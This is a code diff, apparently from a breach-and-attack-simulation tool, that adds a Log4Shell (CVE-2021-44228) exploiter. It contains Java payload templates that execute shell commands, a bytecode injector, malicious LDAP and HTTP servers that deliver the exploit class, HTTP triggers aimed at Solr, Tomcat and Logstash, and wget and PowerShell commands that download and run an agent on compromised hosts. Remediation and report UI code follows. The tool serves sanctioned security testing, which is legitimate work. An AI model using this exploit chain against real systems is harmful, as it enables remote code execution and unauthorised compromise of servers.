`WindowsExploit.class.templete`. These files are served to a vulnerable machine
|
||||
via LDAP and HTTP to achieve remote code execution. This README file contains
|
||||
instructions for rebuilding these template files should it ever become
|
||||
necessary.
|
||||
|
||||
## Proceedure
|
||||
|
||||
1. Copy the desired Linux or Windows Java source code to a new file named
|
||||
`Exploit.java`. Both Java source code files contain a class named `Exploit`.
|
||||
When building Java classes, the class name and the file name must match
|
||||
exactly.
|
||||
|
||||
```
|
||||
$ cp LinuxExploit.java Exploit.java
|
||||
```
|
||||
|
||||
1. Use `javac` to build the Java class file.
|
||||
```
|
||||
$ javac Exploit.java
|
||||
```
|
||||
|
||||
1. Rename the `.class` file with the appropriate OS name.
|
||||
```
|
||||
$ mv Exploit.class LinuxExploit.class.template
|
||||
```
|
||||
|
||||
1. Remove the `Exploit.java` file, as it is no longer needed.
|
Binary file not shown.
|
@ -0,0 +1,7 @@
|
|||
public class Exploit {
|
||||
static {
|
||||
try {
|
||||
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "###"});
|
||||
} catch(Exception e) {}
|
||||
}
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,7 @@
|
|||
public class Exploit {
|
||||
static {
|
||||
try {
|
||||
Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "###"});
|
||||
} catch(Exception e) {}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,11 @@
|
|||
from pathlib import Path
|
||||
from .exploit_builder import (
|
||||
build_exploit_bytecode,
|
||||
InvalidExploitTemplateError,
|
||||
)
|
||||
from .ldap_server import LDAPExploitServer
|
||||
from .service_exploiters import get_log4shell_service_exploiters
|
||||
from .exploit_class_http_server import ExploitClassHTTPServer
|
||||
|
||||
LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template"
|
||||
WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template"
|
|
@ -0,0 +1,62 @@
|
|||
import struct
|
||||
from pathlib import Path
|
||||
|
||||
# This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce
|
||||
|
||||
INJECTION_TAG = "###"
|
||||
|
||||
|
||||
class InvalidExploitTemplateError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def build_exploit_bytecode(payload_command: str, exploit_template_path: Path) -> bytes:
|
||||
"""
|
||||
Build a payload used to exploit log4shell
|
||||
:param str payload_command: The command that will be executed on the remote host.
|
||||
:param Path exploit_template_path: The path to a file containing a pre-compiled Java class with
|
||||
the placeholder "###". This placeholder will be overwritten
|
||||
with the contents of payload_command.
|
||||
:return: Java bytecode that will execute the payload
|
||||
:rtype: bytes
|
||||
"""
|
||||
template_bytecode = _load_template_bytecode(exploit_template_path)
|
||||
exploit_bytecode = _inject_payload(payload_command, template_bytecode)
|
||||
|
||||
return exploit_bytecode
|
||||
|
||||
|
||||
def _load_template_bytecode(exploit_template_path: Path) -> bytes:
|
||||
with open(exploit_template_path, "rb") as h:
|
||||
template_bytecode = h.read()
|
||||
|
||||
if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"):
|
||||
raise InvalidExploitTemplateError(
|
||||
f'The file "{exploit_template_path}" is not a compiled Java class'
|
||||
)
|
||||
|
||||
return template_bytecode
|
||||
|
||||
|
||||
def _inject_payload(payload: str, template_bytecode: bytes):
|
||||
payload_bytes = payload.encode()
|
||||
|
||||
if not INJECTION_TAG.encode() in template_bytecode:
|
||||
raise InvalidExploitTemplateError(
|
||||
f'Unable to find "{INJECTION_TAG}" tag in the template bytecode'
|
||||
)
|
||||
|
||||
index = template_bytecode.index(INJECTION_TAG.encode())
|
||||
|
||||
exploit_bytecode = (
|
||||
template_bytecode[: index - 3]
|
||||
+ str_size(payload_bytes)
|
||||
+ payload_bytes
|
||||
+ template_bytecode[index + 3 :]
|
||||
)
|
||||
|
||||
return exploit_bytecode
|
||||
|
||||
|
||||
def str_size(data: bytes) -> bytes:
|
||||
return b"\x01" + struct.pack("!H", len(data))
|
|
@ -0,0 +1,118 @@
|
|||
import http.server
|
||||
import logging
|
||||
import threading
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429
|
||||
|
||||
|
||||
# If we need to run multiple HTTP servers in parallel, we'll need to either:
|
||||
# 1. Use multiprocessing so that each HTTPHandler class has its own class_downloaded variable
|
||||
# 2. Create a metaclass and define the handler class dymanically at runtime
|
||||
class HTTPHandler(http.server.BaseHTTPRequestHandler):
|
||||
|
||||
java_class: bytes
|
||||
class_downloaded: threading.Event
|
||||
download_lock: threading.Lock
|
||||
|
||||
@classmethod
|
||||
def initialize(cls, java_class: bytes, class_downloaded: threading.Event):
|
||||
cls.java_class = java_class
|
||||
cls.class_downloaded = class_downloaded
|
||||
cls.download_lock = threading.Lock()
|
||||
|
||||
def do_GET(self):
|
||||
with HTTPHandler.download_lock:
|
||||
if HTTPHandler.class_downloaded.is_set():
|
||||
self.send_error(
|
||||
HTTP_TOO_MANY_REQUESTS_ERROR_CODE,
|
||||
"Java exploit class has already been downloaded",
|
||||
)
|
||||
return
|
||||
|
||||
HTTPHandler.class_downloaded.set()
|
||||
|
||||
logger.info("Java class server received a GET request!")
|
||||
self.send_response(200)
|
||||
self.send_header("Content-type", "application/octet-stream")
|
||||
self.end_headers()
|
||||
logger.info("Sending the payload class!")
|
||||
self.wfile.write(self.java_class)
|
||||
|
||||
|
||||
class ExploitClassHTTPServer:
|
||||
"""
|
||||
An HTTP server that serves Java bytecode for use with the Log4Shell exploiter. This server
|
||||
limits the number of requests to one. That is, after one victim has downloaded the java
|
||||
bytecode, the server will respond with a 429 error to all future requests.
|
||||
|
||||
Note: There can only be one instance of this class at a time due to the way it is implemented.
|
||||
"""
|
||||
|
||||
def __init__(self, ip: str, port: int, java_class: bytes, poll_interval: float = 0.5):
|
||||
"""
|
||||
:param ip: The IP address that the server will bind to
|
||||
:param port: The port that the server will listen on
|
||||
:param java_class: The compiled Java bytecode that the server will serve
|
||||
:param poll_interval: Poll for shutdown every `poll_interval` seconds, defaults to 0.5.
|
||||
"""
|
||||
logger.debug(f"The Java Exploit class will be served at {ip}:{port}")
|
||||
|
||||
self._class_downloaded = threading.Event()
|
||||
self._poll_interval = poll_interval
|
||||
|
||||
HTTPHandler.initialize(java_class, self._class_downloaded)
|
||||
|
||||
self._server = http.server.HTTPServer((ip, port), HTTPHandler)
|
||||
# Setting `daemon=True` to save ourselves some trouble when this is merged to the
|
||||
# agent-refactor branch.
|
||||
# TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()`
|
||||
# constructor directly after merging to the agent-refactor branch.
|
||||
self._server_thread = threading.Thread(
|
||||
target=self._server.serve_forever, args=(self._poll_interval,), daemon=True
|
||||
)
|
||||
|
||||
def run(self):
|
||||
"""
|
||||
Runs the HTTP server in the background and blocks until the server has started.
|
||||
"""
|
||||
logger.info("Starting ExploitClassHTTPServer")
|
||||
self._class_downloaded.clear()
|
||||
|
||||
# NOTE: Unlike in LDAPExploitServer, we theoretically don't need to worry about a race
|
||||
# between when `serve_forever()` is ready to handle requests and when the victim machine
|
||||
# sends its requests. This could change if we switch from multithreading to multiprocessing.
|
||||
# See
|
||||
# https://stackoverflow.com/questions/22606480/how-can-i-test-if-python-http-server-httpserver-is-serving-forever
|
||||
# for more information.
|
||||
self._server_thread.start()
|
||||
|
||||
def stop(self, timeout: float = None):
|
||||
"""
|
||||
Stops the HTTP server.
|
||||
|
||||
:param timeout: A floating point number of seconds to wait for the server to stop. If this
|
||||
argument is None (the default), the method blocks until the HTTP server
|
||||
terminates. If `timeout` is a positive floating point number, this method
|
||||
blocks for at most `timeout` seconds.
|
||||
"""
|
||||
if self._server_thread.is_alive():
|
||||
logger.debug("Stopping the Java Exploit class HTTP server")
|
||||
self._server.shutdown()
|
||||
self._server_thread.join(timeout)
|
||||
|
||||
if self._server_thread.is_alive():
|
||||
logger.warning("Timed out while waiting for The HTTP exploit server to stop")
|
||||
else:
|
||||
logger.debug("The Java Exploit class HTTP server has stopped")
|
||||
|
||||
def exploit_class_downloaded(self) -> bool:
|
||||
"""
|
||||
Returns whether or not a victim has downloaded the Java bytecode from the server.
|
||||
|
||||
:return: True if the victim has downloaded the Java bytecode from the server. False
|
||||
otherwise.
|
||||
:rtype: bool
|
||||
"""
|
||||
return self._class_downloaded.is_set()
|
|
@ -0,0 +1,184 @@
|
|||
import logging
|
||||
import math
|
||||
import multiprocessing
|
||||
import tempfile
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
from ldaptor.interfaces import IConnectedLDAPEntry
|
||||
from ldaptor.ldiftree import LDIFTreeEntry
|
||||
from ldaptor.protocols.ldap.ldapserver import LDAPServer
|
||||
from twisted.application import service
|
||||
from twisted.internet import reactor
|
||||
from twisted.internet.protocol import ServerFactory
|
||||
from twisted.python import log
|
||||
from twisted.python.components import registerAdapter
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
EXPLOIT_RDN = "dn=Exploit"
|
||||
REACTOR_START_TIMEOUT_SEC = 30.0
|
||||
|
||||
|
||||
class LDAPServerStartError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class Tree:
|
||||
"""
|
||||
An LDAP directory information tree (DIT) used to exploit log4shell
|
||||
Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html
|
||||
"""
|
||||
|
||||
def __init__(self, http_server_ip: str, http_server_port: int, storage_dir: Path):
|
||||
self.path = tempfile.mkdtemp(prefix="log4shell", suffix=".ldap", dir=storage_dir)
|
||||
self.db = LDIFTreeEntry(self.path)
|
||||
|
||||
self._init_db(http_server_ip, http_server_port)
|
||||
|
||||
def _init_db(self, http_server_ip: str, http_server_port: int):
|
||||
attributes = {
|
||||
"javaFactory": ["Exploit"],
|
||||
"objectClass": ["javaNamingReference"],
|
||||
"javaCodeBase": [f"http://{http_server_ip}:{http_server_port}/"],
|
||||
"javaClassName": ["Exploit"],
|
||||
}
|
||||
|
||||
self.db.addChild(EXPLOIT_RDN, attributes)
|
||||
|
||||
|
||||
class LDAPServerFactory(ServerFactory):
|
||||
"""
|
||||
Our Factory is meant to persistently store the ldap tree
|
||||
Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html
|
||||
"""
|
||||
|
||||
protocol = LDAPServer
|
||||
|
||||
def __init__(self, root):
|
||||
self.root = root
|
||||
|
||||
def buildProtocol(self, addr):
|
||||
proto = self.protocol()
|
||||
proto.debug = self.debug
|
||||
proto.factory = self
|
||||
return proto
|
||||
|
||||
|
||||
class LDAPExploitServer:
|
||||
"""
|
||||
This class wraps the creation of an Ldaptor LDAP server that is used to exploit log4shell.
|
||||
Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self, ldap_server_port: int, http_server_ip: str, http_server_port: int, storage_dir: Path
|
||||
):
|
||||
"""
|
||||
:param ldap_server_port: The port that the LDAP server will listen on.
|
||||
|
||||
:param http_server_ip: The IP address of the HTTP server that serves the malicious Log4Shell
|
||||
Java class.
|
||||
|
||||
:param http_server_port: The port the HTTP server is listening on.
|
||||
|
||||
:param storage_dir: A directory where the LDAP server can safely store files it needs during
|
||||
runtime.
|
||||
"""
|
||||
self._reactor_startup_completed = multiprocessing.Event()
|
||||
self._ldap_server_port = ldap_server_port
|
||||
self._http_server_ip = http_server_ip
|
||||
self._http_server_port = http_server_port
|
||||
self._storage_dir = storage_dir
|
||||
|
||||
# A Twisted reactor can only be started and stopped once. It cannot be restarted after it
|
||||
# has been stopped. To work around this, the reactor is configured and run in a separate
|
||||
# process. This allows us to run multiple LDAP servers sequentially or simultaneously and
|
||||
# stop each one when we're done with it.
|
||||
self._server_process = multiprocessing.Process(
|
||||
target=self._run_twisted_reactor, daemon=True
|
||||
)
|
||||
|
||||
def run(self):
|
||||
"""
|
||||
Runs the Log4Shell LDAP exploit server in a subprocess. This method attempts to start the
|
||||
server and blocks until either the server has successfully started or it times out.
|
||||
|
||||
:raises LDAPServerStartError: Indicates there was a problem starting the LDAP server.
|
||||
"""
|
||||
logger.info("Starting LDAP exploit server")
|
||||
self._server_process.start()
|
||||
reactor_running = self._reactor_startup_completed.wait(REACTOR_START_TIMEOUT_SEC)
|
||||
|
||||
if not reactor_running:
|
||||
raise LDAPServerStartError("An unknown error prevented the LDAP server from starting")
|
||||
|
||||
logger.debug("The LDAP exploit server has successfully started")
|
||||
|
||||
def _run_twisted_reactor(self):
|
||||
logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}")
|
||||
self._configure_twisted_reactor()
|
||||
|
||||
# Since the call to reactor.run() blocks, a separate thread is started to poll the value
|
||||
# of `reactor.running` and set the self._reactor_startup_complete Event when the reactor
|
||||
# is running. This allows the self.run() function to block until the reactor has
|
||||
# successfully started.
|
||||
threading.Thread(target=self._check_if_reactor_startup_completed, daemon=True).start()
|
||||
reactor.run()
|
||||
|
||||
def _check_if_reactor_startup_completed(self):
|
||||
check_interval_sec = 0.25
|
||||
num_checks = math.ceil(REACTOR_START_TIMEOUT_SEC / check_interval_sec)
|
||||
|
||||
for _ in range(0, num_checks):
|
||||
if reactor.running:
|
||||
logger.debug("Twisted reactor startup completed")
|
||||
self._reactor_startup_completed.set()
|
||||
break
|
||||
|
||||
logger.debug("Twisted reactor has not yet started")
|
||||
time.sleep(check_interval_sec)
|
||||
|
||||
def _configure_twisted_reactor(self):
|
||||
LDAPExploitServer._output_twisted_logs_to_python_logger()
|
||||
|
||||
registerAdapter(lambda x: x.root, LDAPServerFactory, IConnectedLDAPEntry)
|
||||
|
||||
tree = Tree(self._http_server_ip, self._http_server_port, self._storage_dir)
|
||||
factory = LDAPServerFactory(tree.db)
|
||||
factory.debug = True
|
||||
|
||||
application = service.Application("ldaptor-server")
|
||||
service.IServiceCollection(application)
|
||||
reactor.listenTCP(self._ldap_server_port, factory)
|
||||
|
||||
@staticmethod
|
||||
def _output_twisted_logs_to_python_logger():
|
||||
# Configures Twisted to output its logs using the standard python logging module instead of
|
||||
# the Twisted logging module.
|
||||
# https://twistedmatrix.com/documents/current/api/twisted.python.log.PythonLoggingObserver.html
|
||||
log_observer = log.PythonLoggingObserver()
|
||||
log_observer.start()
|
||||
|
||||
def stop(self, timeout: float = None):
|
||||
"""
|
||||
Stops the LDAP server.
|
||||
|
||||
:param timeout: A floating point number of seconds to wait for the server to stop. If this
|
||||
argument is None (the default), the method blocks until the LDAP server
|
||||
terminates. If `timeout` is a positive floating point number, this method
|
||||
blocks for at most `timeout` seconds.
|
||||
"""
|
||||
if self._server_process.is_alive():
|
||||
logger.debug("Stopping LDAP exploit server")
|
||||
|
||||
# The Twisted reactor registers signal handlers so it can catch SIGTERM and gracefully
|
||||
# shutdown.
|
||||
self._server_process.terminate()
|
||||
self._server_process.join(timeout)
|
||||
|
||||
if self._server_process.is_alive():
|
||||
logger.warning("Timed out while waiting for the LDAP exploit server to stop")
|
||||
else:
|
||||
logger.debug("Successfully stopped the LDAP exploit server")
|
|
@ -0,0 +1,10 @@
|
|||
from typing import List
|
||||
|
||||
from .i_service_exploiter import IServiceExploiter
|
||||
from .solr import SolrExploit
|
||||
from .tomcat import TomcatExploit
|
||||
from .logstash import LogStashExploit
|
||||
|
||||
|
||||
def get_log4shell_service_exploiters() -> List[IServiceExploiter]:
|
||||
return [SolrExploit(), TomcatExploit(), LogStashExploit()]
|
|
@ -0,0 +1,16 @@
|
|||
import abc
|
||||
|
||||
from infection_monkey.model import VictimHost
|
||||
|
||||
|
||||
class IServiceExploiter(metaclass=abc.ABCMeta):
|
||||
@property
|
||||
@abc.abstractmethod
|
||||
def service_name(self) -> str:
|
||||
# Should have the name of the exploited service
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
@abc.abstractmethod
|
||||
def trigger_exploit(payload: str, host: VictimHost, port: int):
|
||||
raise NotImplementedError
|
|
@ -0,0 +1,20 @@
|
|||
from logging import getLogger
|
||||
|
||||
import requests
|
||||
|
||||
from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter
|
||||
from infection_monkey.model import VictimHost
|
||||
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
class LogStashExploit(IServiceExploiter):
|
||||
service_name = "LogStash"
|
||||
|
||||
@staticmethod
|
||||
def trigger_exploit(payload: str, host: VictimHost, port: int):
|
||||
url = f"http://{host.ip_addr}:{port}/_node/hot_threads?human={payload}"
|
||||
try:
|
||||
resp = requests.get(url, timeout=5, verify=False) # noqa DUO123
|
||||
except requests.ReadTimeout as e:
|
||||
logger.debug(f"Log4shell request failed {e}")
|
|
@ -0,0 +1,20 @@
|
|||
from logging import getLogger
|
||||
|
||||
import requests
|
||||
|
||||
from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter
|
||||
from infection_monkey.model import VictimHost
|
||||
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
class SolrExploit(IServiceExploiter):
|
||||
service_name = "Apache Solr"
|
||||
|
||||
@staticmethod
|
||||
def trigger_exploit(payload: str, host: VictimHost, port: int):
|
||||
url = f"http://{host.ip_addr}:{port}/solr/admin/cores?fu={payload}"
|
||||
try:
|
||||
requests.post(url, timeout=5, verify=False) # noqa DUO123
|
||||
except requests.ReadTimeout as e:
|
||||
logger.debug(f"Log4shell request failed {e}")
|
|
@ -0,0 +1,21 @@
|
|||
from logging import getLogger
|
||||
|
||||
import requests
|
||||
|
||||
from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter
|
||||
from infection_monkey.model import VictimHost
|
||||
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
class TomcatExploit(IServiceExploiter):
|
||||
service_name = "Apache Tomcat"
|
||||
|
||||
@staticmethod
|
||||
def trigger_exploit(payload: str, host: VictimHost, port: int):
|
||||
url = f"http://{host.ip_addr}:{port}/examples/servlets/servlet/SessionExample"
|
||||
payload = {"dataname": "foo", "datavalue": payload}
|
||||
try:
|
||||
resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
|
||||
except requests.ReadTimeout as e:
|
||||
logger.debug(f"Log4shell request failed {e}")
|
|
@ -10,6 +10,7 @@ import ssl
|
|||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from typing import List, Tuple
|
||||
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
|
||||
|
@ -30,17 +31,10 @@ class Struts2Exploiter(WebRCE):
|
|||
exploit_config["dropper"] = True
|
||||
return exploit_config
|
||||
|
||||
def build_potential_urls(self, ports, extensions=None):
|
||||
"""
|
||||
We need to override this method to get redirected url's
|
||||
:param ports: Array of ports. One port is described as size 2 array: [port.no(int),
|
||||
isHTTPS?(bool)]
|
||||
Eg. ports: [[80, False], [443, True]]
|
||||
:param extensions: What subdirectories to scan. www.domain.com[/extension]
|
||||
:return: Array of url's to try and attack
|
||||
"""
|
||||
url_list = super(Struts2Exploiter, self).build_potential_urls(ports)
|
||||
url_list = [self.get_redirected(url) for url in url_list]
|
||||
@staticmethod
|
||||
def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]:
|
||||
url_list = WebRCE.build_potential_urls(ip, ports)
|
||||
url_list = [Struts2Exploiter.get_redirected(url) for url in url_list]
|
||||
return url_list
|
||||
|
||||
@staticmethod
|
||||
|
|
|
@ -2,6 +2,7 @@ import logging
|
|||
import re
|
||||
from abc import abstractmethod
|
||||
from posixpath import join
|
||||
from typing import List, Tuple
|
||||
|
||||
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
|
||||
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
|
||||
|
@ -21,6 +22,7 @@ from infection_monkey.model import (
|
|||
POWERSHELL_HTTP_UPLOAD,
|
||||
RUN_MONKEY,
|
||||
WGET_HTTP_UPLOAD,
|
||||
VictimHost,
|
||||
)
|
||||
from infection_monkey.network.tools import tcp_port_to_service
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
|
@ -99,7 +101,9 @@ class WebRCE(HostExploiter):
|
|||
if not ports:
|
||||
return False
|
||||
# Get urls to try to exploit
|
||||
potential_urls = self.build_potential_urls(ports, exploit_config["url_extensions"])
|
||||
potential_urls = self.build_potential_urls(
|
||||
self.host.ip_addr, ports, exploit_config["url_extensions"]
|
||||
)
|
||||
self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"])
|
||||
|
||||
if not self.are_vulnerable_urls_sufficient():
|
||||
|
@ -154,8 +158,12 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
raise NotImplementedError()
|
||||
|
||||
def get_open_service_ports(self, port_list, names):
|
||||
@staticmethod
|
||||
def get_open_service_ports(
|
||||
victim_host: VictimHost, port_list: List[Tuple[str, bool]], names: List[str]
|
||||
): # noqa: F821
|
||||
"""
|
||||
:param victim_host: VictimHost object that exploiter is targeting
|
||||
:param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
|
||||
:param names: [] of service names. Example: ["http"]
|
||||
:return: Returns all open ports from port list that are of service names
|
||||
|
@ -163,12 +171,12 @@ class WebRCE(HostExploiter):
|
|||
candidate_services = {}
|
||||
candidate_services.update(
|
||||
{
|
||||
service: self.host.services[service]
|
||||
for service in self.host.services
|
||||
service: victim_host.services[service]
|
||||
for service in victim_host.services
|
||||
if (
|
||||
self.host.services[service]
|
||||
and "name" in self.host.services[service]
|
||||
and self.host.services[service]["name"] in names
|
||||
victim_host.services[service]
|
||||
and "name" in victim_host.services[service]
|
||||
and victim_host.services[service]["name"] in names
|
||||
)
|
||||
}
|
||||
)
|
||||
|
@ -216,10 +224,12 @@ class WebRCE(HostExploiter):
|
|||
logger.error("Host's exploitability check failed due to: %s" % e)
|
||||
return False
|
||||
|
||||
def build_potential_urls(self, ports, extensions=None):
|
||||
@staticmethod
|
||||
def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]:
|
||||
"""
|
||||
Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and
|
||||
extensions.
|
||||
:param ip: IP address of the victim
|
||||
:param ports: Array of ports. One port is described as size 2 array: [port.no(int),
|
||||
isHTTPS?(bool)]
|
||||
Eg. ports: [[80, False], [443, True]]
|
||||
|
@ -237,9 +247,7 @@ class WebRCE(HostExploiter):
|
|||
protocol = "https"
|
||||
else:
|
||||
protocol = "http"
|
||||
url_list.append(
|
||||
join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)
|
||||
)
|
||||
url_list.append(join(("%s://%s:%s" % (protocol, ip, port[0])), extension))
|
||||
if not url_list:
|
||||
logger.info("No attack url's were built")
|
||||
return url_list
|
||||
|
@ -329,7 +337,7 @@ class WebRCE(HostExploiter):
|
|||
:return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [
|
||||
port.nr, IsHTTPS?]
|
||||
"""
|
||||
ports = self.get_open_service_ports(ports, names)
|
||||
ports = WebRCE.get_open_service_ports(self.host, ports, names)
|
||||
if not ports:
|
||||
logger.info("All default web ports are closed on %r, skipping", str(self.host))
|
||||
return False
|
||||
|
|
|
@ -60,4 +60,15 @@ HADOOP_LINUX_COMMAND = (
|
|||
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
)
|
||||
|
||||
LOG4SHELL_LINUX_COMMAND = (
|
||||
"wget -O %(monkey_path)s %(http_path)s ;"
|
||||
" chmod +x %(monkey_path)s ;"
|
||||
" %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
)
|
||||
|
||||
LOG4SHELL_WINDOWS_COMMAND = (
|
||||
'powershell -NoLogo -Command "'
|
||||
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; "
|
||||
' %(monkey_path)s %(monkey_type)s %(parameters)s"'
|
||||
)
|
||||
DOWNLOAD_TIMEOUT = 180
|
||||
|
|
|
@ -108,14 +108,14 @@ else:
|
|||
return routes
|
||||
|
||||
|
||||
def get_free_tcp_port(min_range=1000, max_range=65535):
|
||||
start_range = min(1, min_range)
|
||||
def get_free_tcp_port(min_range=1024, max_range=65535):
|
||||
min_range = max(1, min_range)
|
||||
max_range = min(65535, max_range)
|
||||
|
||||
in_use = [conn.laddr[1] for conn in psutil.net_connections()]
|
||||
|
||||
for i in range(min_range, max_range):
|
||||
port = randint(start_range, max_range)
|
||||
port = randint(min_range, max_range)
|
||||
|
||||
if port not in in_use:
|
||||
return port
|
||||
|
|
|
@ -17,6 +17,7 @@ BASIC = {
|
|||
"SmbExploiter",
|
||||
"WmiExploiter",
|
||||
"SSHExploiter",
|
||||
"Log4ShellExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
|
|
|
@ -165,5 +165,16 @@ EXPLOITER_CLASSES = {
|
|||
"link": "https://www.guardicore.com/infectionmonkey"
|
||||
"/docs/reference/exploiters/powershell",
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": ["Log4ShellExploiter"],
|
||||
"title": "Log4Shell Exploiter",
|
||||
"safe": True,
|
||||
"info": "Exploits a software vulnerability (CVE-2021-44228) in Apache Log4j, a Java "
|
||||
"logging framework. Exploitation is attempted on the following services — "
|
||||
"Apache Solr, Apache Tomcat, Logstash.",
|
||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference"
|
||||
"/exploiters/log4shell/",
|
||||
},
|
||||
],
|
||||
}
|
||||
|
|
|
@ -129,7 +129,7 @@ INTERNAL = {
|
|||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {"type": "integer"},
|
||||
"default": [80, 8080, 443, 8008, 7001, 9200],
|
||||
"default": [80, 8080, 443, 8008, 7001, 9200, 8983, 9600],
|
||||
"description": "List of ports the monkey will check if are being used "
|
||||
"for HTTP",
|
||||
},
|
||||
|
|
|
@ -8,6 +8,9 @@ from monkey_island.cc.services.reporting.issue_processing.exploit_processing.pro
|
|||
from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501
|
||||
ExploitProcessor,
|
||||
)
|
||||
from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.log4shell import ( # noqa: E501
|
||||
Log4ShellProcessor,
|
||||
)
|
||||
from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( # noqa: E501
|
||||
ShellShockExploitProcessor,
|
||||
)
|
||||
|
@ -52,6 +55,7 @@ class ExploiterDescriptorEnum(Enum):
|
|||
POWERSHELL = ExploiterDescriptor(
|
||||
"PowerShellExploiter", "PowerShell Remoting Exploiter", ExploitProcessor
|
||||
)
|
||||
LOG4SHELL = ExploiterDescriptor("Log4ShellExploiter", "Log4Shell Exploiter", Log4ShellProcessor)
|
||||
|
||||
@staticmethod
|
||||
def get_by_class_name(class_name: str) -> ExploiterDescriptor:
|
||||
|
|
|
@ -21,3 +21,4 @@ class ExploiterReportInfo:
|
|||
port: Union[str, None] = None
|
||||
paths: Union[List[str], None] = None
|
||||
password_restored: Union[bool, None] = None
|
||||
service: Union[str, None] = None
|
||||
|
|
|
@ -0,0 +1,16 @@
|
|||
from monkey_island.cc.services.node import NodeService
|
||||
from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501
|
||||
ExploiterReportInfo,
|
||||
)
|
||||
|
||||
|
||||
class Log4ShellProcessor:
|
||||
@staticmethod
|
||||
def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo:
|
||||
ip_addr = exploit_dict["data"]["machine"]["ip_addr"]
|
||||
machine = NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_ip(ip_addr))
|
||||
port = exploit_dict["data"]["info"]["vulnerable_service"]["port"]
|
||||
service = exploit_dict["data"]["info"]["vulnerable_service"]["service_name"]
|
||||
return ExploiterReportInfo(
|
||||
ip_address=ip_addr, machine=machine, type=class_name, port=port, service=service
|
||||
)
|
|
@ -31,6 +31,7 @@ import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues
|
|||
import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue';
|
||||
import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue';
|
||||
import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue';
|
||||
import {log4shellIssueOverview, log4shellIssueReport} from './security/issues/Log4ShellIssue';
|
||||
import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue';
|
||||
import {
|
||||
crossSegmentIssueOverview,
|
||||
|
@ -158,6 +159,11 @@ class ReportPageComponent extends AuthComponent {
|
|||
[this.issueContentTypes.REPORT]: zerologonIssueReport,
|
||||
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
||||
},
|
||||
'Log4ShellExploiter': {
|
||||
[this.issueContentTypes.OVERVIEW]: log4shellIssueOverview,
|
||||
[this.issueContentTypes.REPORT]: log4shellIssueReport,
|
||||
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
||||
},
|
||||
'zerologon_pass_restore_failed': {
|
||||
[this.issueContentTypes.OVERVIEW]: zerologonOverviewWithFailedPassResetWarning
|
||||
},
|
||||
|
|
|
@ -0,0 +1,30 @@
|
|||
import React from 'react';
|
||||
import CollapsibleWellComponent from '../CollapsibleWell';
|
||||
import {Button} from 'react-bootstrap';
|
||||
|
||||
export function log4shellIssueOverview() {
|
||||
return (<li>Some servers are vulnerable to the Log4Shell remote code execution exploit.</li>)
|
||||
}
|
||||
|
||||
export function log4shellIssueReport(issue) {
|
||||
return (
|
||||
<>
|
||||
Upgrade the Apache Log4j component to version 2.15.0 or later.
|
||||
